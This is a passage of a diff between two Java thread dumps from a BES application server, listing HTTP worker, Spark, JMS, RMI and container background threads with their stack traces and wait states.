com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + at sun.misc.GC$Daemon.run(GC.java:117) + +"jmsra-WorkerThread-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13cb25b2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"httpWorkerThread-8080-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) -"LifecycleThread[com.bes.appserv]-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b5836e3 +"Stateful cache" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73feb530 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #101 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fd6d26d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"httpWorkerThread-1900-4" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec +"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@457a9090 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:460) + at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) + at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) + at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -141,15 +225,21 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"AcceptorThread-8080-1" #85 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504) +"httpWorkerThread-1900-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 +"httpWorkerThread-1900-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -163,36 +253,81 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #88 daemon [TIMED_WAITING] +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6827fecd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Common Lib Watcher" #15 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91) + +"RMI Reaper" #95 [WAITING] on java.lang.ref.ReferenceQueue$Lock@515b0c1e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) at java.lang.Thread.run(Thread.java:750) -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #107 daemon [TIMED_WAITING] +"AsyncTimeoutThread-8080" #80 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169) at java.lang.Thread.run(Thread.java:750) -"ReadWriteBlockThread-1" #18 daemon [RUNNABLE] +"Spark_7" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark_6" #92 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark_1" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark-Acceptor" #85 [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508) -"Spark_0" #92 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f3ebe1f +"Spark_4" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"jmsra-WorkerThread-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f + java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) - at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120) - at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) -"httpWorkerThread-1900-1" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec +"httpWorkerThread-8080-8" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -206,7 +341,39 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Connection(1)-192.168.215.4" #102 daemon [RUNNABLE] +"Spark_0" #86 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1a90bf04 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69) + +"ReadWriteBlockThread-0" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@4d16eb0d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:275) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:240) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:231) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:467) + at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598) + at com.bes.enterprise.startup.ASMain.main(ASMain.java:29) + +"RMI TCP Connection(1)-172.17.0.3" #96 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.net.SocketInputStream.socketRead0(Native Method) at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) @@ -218,14 +385,14 @@ ThreadStacks: at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"jmsra-WorkerThread-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 +"httpWorkerThread-8080-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -239,18 +406,13 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"Spark_7" #99 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #82 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) - at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) - -"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4e754aa3 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at sun.misc.GC$Daemon.run(GC.java:117) + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) -"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 +"jmsra-WorkerThread-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -264,41 +426,20 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Accept-6600" #100 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) - at java.lang.Thread.run(Thread.java:750) - -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #68 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) - at java.lang.Thread.run(Thread.java:750) - -"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@2a2fdcad +"RMI RenewClean-[172.17.0.3:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@44a4354d java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:460) - at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) - at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) - at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) - at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) - at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) at java.lang.Thread.run(Thread.java:750) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@408b41b1 - java.lang.Thread.State: WAITING +"Spark_5" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 + java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) -"httpWorkerThread-1900-3" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec +"jmsra-WorkerThread-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -312,7 +453,7 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"jmsra-WorkerThread-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 +"httpWorkerThread-1900-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -326,24 +467,13 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - -"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #62 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) at java.lang.Thread.run(Thread.java:750) -"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 +"httpWorkerThread-8080-6" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -357,22 +487,7 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2e7f8751 - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:275) - at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:240) - at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:231) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:467) - at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598) - at com.bes.enterprise.startup.ASMain.main(ASMain.java:29) - -"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 +"httpWorkerThread-1900-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -386,76 +501,40 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"ReadWriteBlockThread-0" #17 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) - -"Spark_3" #95 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) - at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) - -"Spark-Acceptor" #91 [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274) - at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423) - at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508) - -"Spark_4" #96 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 +"Spark_2" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) at 